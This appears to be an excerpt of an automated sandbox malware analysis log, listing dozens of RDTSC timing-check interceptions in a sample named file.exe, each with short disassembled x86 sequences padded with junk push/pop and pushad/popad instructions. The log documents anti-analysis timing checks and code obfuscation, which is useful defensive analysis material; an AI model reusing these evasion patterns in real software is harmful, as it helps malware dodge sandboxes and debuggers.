Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FEE1A second address: 5FEE1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFE3C second address: 5FFE41 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600CDE second address: 600D32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F7C252749F8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 add dword ptr [ebp+122D3A78h], esi 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+122D3B2Ch], ebx 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+122D229Ch], edx 0x0000003a xchg eax, esi 0x0000003b jnc 00007F7C252749FAh 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 pushad 0x00000046 popad 0x00000047 pushad 0x00000048 popad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603B5A second address: 603B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 ja 00007F7C2525D0D2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603B71 second address: 603B8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A03h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603B8C second address: 603B90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A694C second address: 5A6953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FCFC4 second address: 5FCFC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6953 second address: 5A695B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A695B second address: 5A6960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600EDA second address: 600F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 jmp 00007F7C25274A00h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 jng 00007F7C252749FCh 0x0000001a pushad 0x0000001b mov bl, F2h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 mov bx, E382h 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b mov eax, dword ptr [ebp+122D165Dh] 0x00000031 adc bl, FFFFFFF1h 0x00000034 push FFFFFFFFh 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007F7C252749F8h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000019h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 and bh, 00000040h 0x00000053 nop 0x00000054 pushad 0x00000055 pushad 0x00000056 jnl 00007F7C252749F6h 0x0000005c pushad 0x0000005d popad 0x0000005e popad 0x0000005f push eax 0x00000060 push edx 0x00000061 js 00007F7C252749F6h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600F53 second address: 600F67 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7C2525D0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600F67 second address: 600F7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C252749FFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60436C second address: 60440C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7C2525D0C8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d add bx, D5D9h 0x00000012 sub dword ptr [ebp+1247EA73h], edi 0x00000018 push dword ptr fs:[00000000h] 0x0000001f push 00000000h 0x00000021 push eax 0x00000022 call 00007F7C2525D0C8h 0x00000027 pop eax 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c add dword ptr [esp+04h], 0000001Ch 0x00000034 inc eax 0x00000035 push eax 0x00000036 ret 0x00000037 pop eax 0x00000038 ret 0x00000039 or bx, CAC1h 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 jmp 00007F7C2525D0D1h 0x0000004a mov eax, dword ptr [ebp+122D0335h] 0x00000050 mov ebx, dword ptr [ebp+122D39FDh] 0x00000056 push FFFFFFFFh 0x00000058 sub dword ptr [ebp+1245CE95h], esi 0x0000005e nop 0x0000005f pushad 0x00000060 jmp 00007F7C2525D0D1h 0x00000065 jg 00007F7C2525D0C8h 0x0000006b popad 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F7C2525D0CDh 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C6C9 second address: 59C6CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C6CD second address: 59C6D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C6D3 second address: 59C6D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B206 second address: 60B21E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7C2525D0C6h 0x0000000a popad 0x0000000b pop esi 0x0000000c je 00007F7C2525D0F9h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B21E second address: 60B241 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F7C252749F6h 0x0000000e jmp 00007F7C25274A05h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F8E1 second address: 60F8F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7C2525D0CAh 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60EF89 second address: 60EF93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615BD9 second address: 615BF8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F7C2525D0D7h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615BF8 second address: 615BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6163E6 second address: 6163EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C738 second address: 61C744 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F7C252749F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B4BC second address: 61B4D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B4D0 second address: 61B4E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7C252749FEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BBE2 second address: 61BBEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BBEA second address: 61BC1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7C25274A04h 0x0000000a jmp 00007F7C25274A05h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BC1D second address: 61BC26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C069 second address: 61C06D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C06D second address: 61C084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7C2525D0CDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C084 second address: 61C088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C44A second address: 61C44E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C44E second address: 61C46C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7C25274A05h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C5C2 second address: 61C5DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7C2525D0CCh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push ebx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C5DD second address: 61C5EF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnc 00007F7C252749F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C5EF second address: 61C5FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F7C2525D0C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C5FC second address: 61C606 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7C252749F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD4B9 second address: 5AD4D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7C2525D0D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621A01 second address: 621A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F7C252749FCh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7C252749FEh 0x00000013 push eax 0x00000014 push edi 0x00000015 pop edi 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621A27 second address: 621A2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621A2C second address: 621A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6207B1 second address: 6207B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6207B5 second address: 6207E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7C25274A01h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F7C25274A05h 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F7C252749F6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6207E9 second address: 6207ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6207ED second address: 6207F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6207F3 second address: 6207FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620D3C second address: 620D40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620518 second address: 62053A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D4h 0x00000007 je 00007F7C2525D0C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6212C7 second address: 6212DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7C25274A02h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621742 second address: 621746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59FCF8 second address: 59FD06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59FD06 second address: 59FD0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626A4A second address: 626A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626A4F second address: 626A5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F7C2525D0C6h 0x0000000a jnc 00007F7C2525D0C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626CEC second address: 626CF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626CF0 second address: 626CF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6276DC second address: 6276E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627AA3 second address: 627AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627AAA second address: 627AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F7C252749F6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626448 second address: 62644C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62644C second address: 626455 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B2BD second address: 62B2C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B2C1 second address: 62B2C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF8E9 second address: 5CE98B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov dword ptr [ebp+122D23B4h], esi 0x0000000c call dword ptr [ebp+122D1C89h] 0x00000012 pushad 0x00000013 jmp 00007F7C2525D0D6h 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFA6A second address: 5EFA8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C252749FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F7C252749FCh 0x0000000f popad 0x00000010 push eax 0x00000011 push esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFFBB second address: 5EFFBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0122 second address: 5F0128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0128 second address: 5F012C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F012C second address: 5F0151 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7C252749F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7C25274A06h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0151 second address: 5F0156 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0156 second address: 5F017F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jnl 00007F7C252749FEh 0x00000011 mov eax, dword ptr [eax] 0x00000013 jl 00007F7C25274A02h 0x00000019 jp 00007F7C252749FCh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F07D1 second address: 5F07D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F07D7 second address: 5F07DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F07DB second address: 5F07E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F07E8 second address: 5F0805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 nop 0x00000007 mov dx, si 0x0000000a push 0000001Eh 0x0000000c jmp 00007F7C252749FAh 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0805 second address: 5F0818 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0818 second address: 5F081E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F081E second address: 5F0822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0822 second address: 5F0826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0B05 second address: 5F0B09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B752 second address: 62B758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B758 second address: 62B75E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BC6B second address: 62BC71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BC71 second address: 62BC75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BF33 second address: 62BF4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A06h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BF4D second address: 62BF6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7C2525D0D7h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D9EB second address: 62D9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598EF4 second address: 598EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63647A second address: 63648F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C25274A01h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63648F second address: 636493 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636493 second address: 63649F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63649F second address: 6364A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6396FE second address: 639702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639702 second address: 639708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
